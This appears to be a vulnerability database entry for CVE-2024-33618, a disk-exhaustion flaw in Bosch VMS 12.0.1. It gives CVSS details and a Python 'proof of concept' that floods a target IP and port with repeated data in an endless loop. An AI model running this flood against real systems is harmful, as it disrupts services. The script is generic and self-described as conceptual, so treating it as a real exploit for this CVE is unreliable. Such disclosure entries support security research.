Uncontrolled Resource Consumption in Bosch VMS Central Server in Bosch VMS 12.0.1
allows attackers to consume excessive amounts of disk space via network interface.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Bosch VMS 12.0.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
# Conceptual Proof of Concept for CVE-2024-33618
# This script attempts to trigger disk space exhaustion by sending data.
# Note: The actual exploit requires specific protocol handling found in Metasploit.
TARGET_IP = "192.168.1.100" # Replace with target IP
TARGET_PORT = 8080 # Replace with target port
def send_exploit_payload():
try:
while True:
# Create a socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET_IP, TARGET_PORT))
# Craft a payload that triggers excessive logging/storage
# Adjust payload based on actual protocol reverse engineering
payload = b"A" * 10000
s.send(payload)
print(f"Payload sent to {TARGET_IP}:{TARGET_PORT}")
s.close()
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
send_exploit_payload()